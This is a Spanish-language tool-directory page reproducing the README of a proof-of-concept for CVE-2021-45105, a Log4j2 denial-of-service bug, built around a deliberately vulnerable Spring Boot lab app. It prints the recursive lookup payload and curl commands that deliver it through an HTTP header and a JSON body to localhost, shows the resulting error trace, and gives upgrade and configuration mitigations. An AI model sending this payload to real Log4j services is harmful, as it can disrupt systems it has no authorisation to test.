Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Log4j_dos_CVE-2021-45105 — Exploit PoC para CVE-2021-45105 (DoS de Log4j2) con aplicación web Spring Boot, que demuestra un bucle infinito mediante payloads manipulados en la cabecera/cuerpo HTTP. | Kitploit
Herramientas/GitHubGitHub/cckuailong/log4j_dos_cve-2021-45105
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubcckuailong/log4j_dos_cve-2021-45105

Log4j_dos_CVE-2021-45105

Exploit PoC para CVE-2021-45105 (DoS de Log4j2) con aplicación web Spring Boot, que demuestra un bucle infinito mediante payloads manipulados en la cabecera/cuerpo HTTP.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
131hace 4 añosAún no revisado
Compartir

Log4j2 DOS (CVE-2021-45105)

Poc

root@kitploit:~
${${::-${::-$${::-$}}}}

Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.16.0

Esta aplicación está basada en una aplicación web Spring Boot vulnerable a CVE-2021-45105

Utiliza Log4j 2.16.0

Ejecutar la aplicación

Ejecútala:

root@kitploit:~
Importa el proyecto en un IDE de Java como un proyecto Maven

Ejecuta CVEMainApplication.java como una aplicación Spring Boot.

Pasos de explotación

  • Luego, desencadena el exploit usando:
root@kitploit:~
Para GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


Para solicitud POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Observa la salida que muestra un bucle infinito; sin embargo, en las pruebas no se encontró que este DOS consumiera muchos recursos, ya que el programa identifica este bucle infinito y arroja un error:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR Se produjo una excepción al procesar Appender Console java.lang.IllegalStateException: Bucle infinito en la interpolación de propiedades de ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Mitigación :

Los usuarios de Java 8 (o posterior) deberían actualizar a la versión 2.17.0.

Alternativamente, esto se puede mitigar en la configuración:

En PatternLayout dentro de la configuración de logging, reemplaza las Context Lookups como ${ctx:loginId} o $${ctx:loginId} con patrones del Thread Context Map (%X, %mdc o %MDC). De lo contrario, en la configuración, elimina las referencias a Context Lookups como ${ctx:loginId} o $${ctx:loginId} cuando se originen de fuentes externas a la aplicación como cabeceras HTTP o entrada del usuario.

Referencia

https://issues.apache.org/jira/browse/LOG4J2-3230

Descargar herramienta